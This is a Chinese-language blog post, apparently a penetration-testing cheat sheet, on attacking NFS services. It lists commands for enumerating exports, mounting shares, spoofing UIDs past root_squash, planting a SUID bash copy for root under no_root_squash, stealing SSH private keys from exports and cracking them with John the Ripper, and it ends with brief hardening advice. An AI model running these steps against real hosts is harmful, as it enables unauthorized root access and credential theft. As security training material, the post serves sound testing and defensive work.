NFS服务利用

0x01 NFS渗透测试

1. 核心思路

1.通过 NFS 导出目录获取目标主机上的敏感文件

2.利用 NFS 的权限配置缺陷(如 no_root_squash)进行提权

3.导出目录包含 SSH 密钥等凭据信息时,可直接横向移动

2. 信息收集

A. 端口扫描

# 扫描 NFS 端口
nmap -p 111,2049 --script=nfs-* <target>

# 查看导出列表
showmount -e <target>

# RPC 信息枚举
rpcinfo -p <target>

B. 常见漏洞/配置问题

  1. 匿名访问 – 不需要认证就能挂载
  2. 读写权限rw 权限可写
  3. root_squash – 关闭后普通用户可获 root 权限
  4. 敏感文件共享 – 共享了 /etc/passwd/home/root

3. 渗透利用

A. 挂载 NFS

# 创建挂载点
sudo mkdir -p /mnt/nfs

# 指定版本挂载
sudo mount -t nfs -o vers=3 <target>:/share /mnt/nfs

# 如果遇到问题,尝试
sudo mount -t nfs -o vers=3,nolock <target>:/share /mnt/nfs

# 查看挂载情况
mount | grep nfs
df -h

B. 绕过 UID 限制

当遇到权限问题时(root_squash 限制),创建相同 UID 的用户:

# 创建与目标用户相同 UID 的账户
sudo useradd -u <uid> -g <gid> -M -s /bin/bash <username>

# 切换到该用户
sudo su <username>

# 或者临时修改当前用户 UID
sudo usermod -u <uid> <username>

# 重新挂载
sudo umount /mnt/nfs
sudo mount -t nfs -o vers=3 <target>:/share /mnt/nfs

C. 提权利用 (no_root_squash)

当目标 NFS 配置了 no_root_squash 时:

# 在挂载目录创建具有 SUID 权限的文件
cp /bin/bash /mnt/nfs/shell
chmod +s /mnt/nfs/shell

# 获取目标普通用户权限后执行
./shell -p

D. 利用导出的敏感文件

# 查看 SSH 密钥
ls -la /mnt/nfs/.ssh/

# 复制私钥
cp /mnt/nfs/.ssh/id_rsa ~/id_rsa
chmod 600 ~/id_rsa

# 提取 SSH 密钥 hash(用于破解密码)
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt

# 破解密码
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# 使用私钥登录
ssh -i id_rsa <username>@<target>

4. 防御建议

  • 限制 IP 访问 NFS 服务
  • 启用 root_squash(默认开启)
  • 只读挂载 ro
  • 定期审计 /etc/exports 配置
  • 避免导出敏感目录如 /home/root
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇